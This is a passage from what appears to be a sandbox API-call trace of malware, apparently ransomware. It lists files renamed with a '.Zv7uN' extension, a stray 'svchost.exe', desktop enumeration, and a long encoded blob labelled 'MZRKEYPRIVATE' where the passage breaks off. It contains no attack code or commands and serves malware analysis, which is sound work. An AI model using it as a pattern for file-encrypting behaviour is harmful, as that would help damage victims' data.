ftLastWriteTime.dwLowDateTime=0x60387160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xc645, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="BbAbN3g2HP.mkv.Zv7uN", cAlternateFileName="BBABN3~1.ZV7")) returned 1 [0127.683] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.683] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.683] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb977a410, ftCreationTime.dwHighDateTime=0x1d5deaa, ftLastAccessTime.dwLowDateTime=0x725aa3b0, ftLastAccessTime.dwHighDateTime=0x1d5d825, ftLastWriteTime.dwLowDateTime=0x603d3420, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x15449, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="D1JRmpQ7-5.png.Zv7uN", cAlternateFileName="D1JRMP~1.ZV7")) returned 1 [0127.683] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.683] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.683] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0127.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef210e0, ftCreationTime.dwHighDateTime=0x1d5e557, ftLastAccessTime.dwLowDateTime=0x24fe06b0, ftLastAccessTime.dwHighDateTime=0x1d5e118, ftLastWriteTime.dwLowDateTime=0x603f9580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x2b73, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="fdo1k2CX.bmp.Zv7uN", cAlternateFileName="FDO1K2~1.ZV7")) returned 1 [0127.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.684] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e724330, ftCreationTime.dwHighDateTime=0x1d5e674, ftLastAccessTime.dwLowDateTime=0x1340f1a0, ftLastAccessTime.dwHighDateTime=0x1d5d8d3, ftLastWriteTime.dwLowDateTime=0x60445840, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd240, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="H3W 7-FelED5Eyhn.avi.Zv7uN", cAlternateFileName="H3W7-F~1.ZV7")) returned 1 [0127.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.684] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161dab0, ftCreationTime.dwHighDateTime=0x1d5e6eb, ftLastAccessTime.dwLowDateTime=0xbb9ec9d0, ftLastAccessTime.dwHighDateTime=0x1d5d9c8, ftLastWriteTime.dwLowDateTime=0x6046b9a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x123ea, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="hH27mJYDN25DAqh2mH.mkv.Zv7uN", cAlternateFileName="HH27MJ~1.ZV7")) returned 1 [0127.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.684] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea07810, ftCreationTime.dwHighDateTime=0x1d5df48, ftLastAccessTime.dwLowDateTime=0xfad36ca0, ftLastAccessTime.dwHighDateTime=0x1d5e71f, ftLastWriteTime.dwLowDateTime=0x604b7c60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x58d4, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="hHeMlnuwSXt.avi.Zv7uN", cAlternateFileName="HHEMLN~1.ZV7")) returned 1 [0127.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.684] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x985b44d0, ftCreationTime.dwHighDateTime=0x1d5df9f, ftLastAccessTime.dwLowDateTime=0x86c9d440, ftLastAccessTime.dwHighDateTime=0x1d5de58, ftLastWriteTime.dwLowDateTime=0x86c9d440, ftLastWriteTime.dwHighDateTime=0x1d5de58, nFileSizeHigh=0x0, nFileSizeLow=0xaa28, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="Hjea DQUQSLT3A.odp", cAlternateFileName="HJEADQ~1.ODP")) returned 1 [0127.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.684] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.684] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x927ef110, ftCreationTime.dwHighDateTime=0x1d5e396, ftLastAccessTime.dwLowDateTime=0xd93e4dc0, ftLastAccessTime.dwHighDateTime=0x1d5deba, ftLastWriteTime.dwLowDateTime=0x6052a080, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1b4c, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="HnqWON3eIA41_qk.mkv.Zv7uN", cAlternateFileName="HNQWON~1.ZV7")) returned 1 [0127.684] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bcee8e0, ftCreationTime.dwHighDateTime=0x1d5dcfb, ftLastAccessTime.dwLowDateTime=0xcea41a40, ftLastAccessTime.dwHighDateTime=0x1d5db52, ftLastWriteTime.dwLowDateTime=0x60576340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x155e8, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="ICfZ4ZiEDHNpv.avi.Zv7uN", cAlternateFileName="ICFZ4Z~1.ZV7")) returned 1 [0127.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f092a0, ftCreationTime.dwHighDateTime=0x1d5e731, ftLastAccessTime.dwLowDateTime=0xc2ce4920, ftLastAccessTime.dwHighDateTime=0x1d5dd32, ftLastWriteTime.dwLowDateTime=0x6059c4a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x82c8, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="n2KIK6waBvBzsoa2.bmp.Zv7uN", cAlternateFileName="N2KIK6~1.ZV7")) returned 1 [0127.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2197e70, ftCreationTime.dwHighDateTime=0x1d5d858, ftLastAccessTime.dwLowDateTime=0xa62dfdd0, ftLastAccessTime.dwHighDateTime=0x1d5df74, ftLastWriteTime.dwLowDateTime=0x605e8760, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1394e, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="PyTen.jpg.Zv7uN", cAlternateFileName="PYTENJ~1.ZV7")) returned 1 [0127.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb8f50, ftCreationTime.dwHighDateTime=0x1d5dcb8, ftLastAccessTime.dwLowDateTime=0x91a9ccf0, ftLastAccessTime.dwHighDateTime=0x1d5e108, ftLastWriteTime.dwLowDateTime=0x6060e8c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12c9e, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="QDwJRdyeY03CiQpQQ7 I.m4a.Zv7uN", cAlternateFileName="QDWJRD~1.ZV7")) returned 1 [0127.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.685] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.685] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b697040, ftCreationTime.dwHighDateTime=0x1d5e587, ftLastAccessTime.dwLowDateTime=0xaaa05030, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x60680ce0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="QjoWcYLR8WS55TFlj.avi.Zv7uN", cAlternateFileName="QJOWCY~1.ZV7")) returned 1 [0127.685] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.686] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cebef80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x2cebef80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0xeee9ce00, ftLastWriteTime.dwHighDateTime=0x1d622ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e000, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="svchost.exe", cAlternateFileName="")) returned 1 [0127.686] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.686] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ebeee00, ftCreationTime.dwHighDateTime=0x1d5d90a, ftLastAccessTime.dwLowDateTime=0x4abad0d0, ftLastAccessTime.dwHighDateTime=0x1d5db88, ftLastWriteTime.dwLowDateTime=0x606ccfa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3432, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="Ud_n8Mu.wav.Zv7uN", cAlternateFileName="UD_N8M~1.ZV7")) returned 1 [0127.686] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.686] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646616a0, ftCreationTime.dwHighDateTime=0x1d5e16b, ftLastAccessTime.dwLowDateTime=0xaccc8550, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0xaccc8550, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x178bb, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="UEeyhCQ0rsUi-3-nJSm.ods", cAlternateFileName="UEEYHC~1.ODS")) returned 1 [0127.686] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.686] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e36bcb0, ftCreationTime.dwHighDateTime=0x1d5db30, ftLastAccessTime.dwLowDateTime=0x792796d0, ftLastAccessTime.dwHighDateTime=0x1d5e2c5, ftLastWriteTime.dwLowDateTime=0x792796d0, ftLastWriteTime.dwHighDateTime=0x1d5e2c5, nFileSizeHigh=0x0, nFileSizeLow=0x15ddc, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="u_LT1cVy3Vs87U4LbN7z.odt", cAlternateFileName="U_LT1C~1.ODT")) returned 1 [0127.686] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.686] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ac76690, ftCreationTime.dwHighDateTime=0x1d5e47f, ftLastAccessTime.dwLowDateTime=0x5c26d560, ftLastAccessTime.dwHighDateTime=0x1d5e80f, ftLastWriteTime.dwLowDateTime=0x606f3100, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7e42, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="VafNA2H199yI1tndZ.flv.Zv7uN", cAlternateFileName="VAFNA2~1.ZV7")) returned 1 [0127.686] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.686] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c22fe0, ftCreationTime.dwHighDateTime=0x1d5e7bc, ftLastAccessTime.dwLowDateTime=0x4df58130, ftLastAccessTime.dwHighDateTime=0x1d5def0, ftLastWriteTime.dwLowDateTime=0x60719260, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x6846, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="VCyPqB3te.m4a.Zv7uN", cAlternateFileName="VCYPQB~1.ZV7")) returned 1 [0127.687] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.687] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9000cd0, ftCreationTime.dwHighDateTime=0x1d5dd2e, ftLastAccessTime.dwLowDateTime=0xd9ee4fe0, ftLastAccessTime.dwHighDateTime=0x1d5e6e9, ftLastWriteTime.dwLowDateTime=0x607b17e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14174, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="wTlPzMDy.mp3.Zv7uN", cAlternateFileName="WTLPZM~1.ZV7")) returned 1 [0127.687] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.687] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440b6ea0, ftCreationTime.dwHighDateTime=0x1d5e71f, ftLastAccessTime.dwLowDateTime=0x1c1bdd70, ftLastAccessTime.dwHighDateTime=0x1d5e063, ftLastWriteTime.dwLowDateTime=0x607d7940, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7da9, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="y4Np_.m4a.Zv7uN", cAlternateFileName="Y4NP_M~1.ZV7")) returned 1 [0127.687] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.687] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.687] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440b6ea0, ftCreationTime.dwHighDateTime=0x1d5e71f, ftLastAccessTime.dwLowDateTime=0x1c1bdd70, ftLastAccessTime.dwHighDateTime=0x1d5e063, ftLastWriteTime.dwLowDateTime=0x607d7940, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7da9, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="y4Np_.m4a.Zv7uN", cAlternateFileName="Y4NP_M~1.ZV7")) returned 0 [0127.687] GetLastError () returned 0x12 [0127.687] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0127.687] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1 [0127.691] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop")) returned 0x13 [0127.691] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1 [0127.692] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0127.692] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0127.693] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0127.693] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0127.693] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9)) returned 1 [0127.693] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk")) returned 0x20 [0127.693] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk", dwFileAttributes=0x80) returned 1 [0127.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCg